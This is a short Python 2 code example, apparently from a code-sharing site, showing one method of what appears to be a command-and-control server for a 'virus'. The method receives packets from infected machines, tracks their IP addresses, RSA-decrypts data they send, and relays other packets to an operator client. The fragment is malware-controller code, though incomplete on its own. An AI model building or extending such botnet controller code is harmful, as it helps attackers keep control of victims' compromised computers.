コード例 #1
0
 def receiveFromVirus(self,s,address):
     while True:
         pkt = Packet()
         try:
             pkt.construct(s)
         except socket.error as error:
             if error.errno == 10054 or error.errno == 104:
                 del self.toVirus[address[0]]
                 self.sendIPList()
                 print address[0] + " uninfected or turned computer off!"
                 break
             else:
                 raise
         if pkt.state == '100':
             tup = self.toVirus[address[0]]
             pkt.RSADecryptData(self.RSAPrivateKey)
             self.toVirus[address[0]] = (tup[0],tup[1],pkt.data)
             self.sendIPList()
         else: self.enqueueToClient(pkt)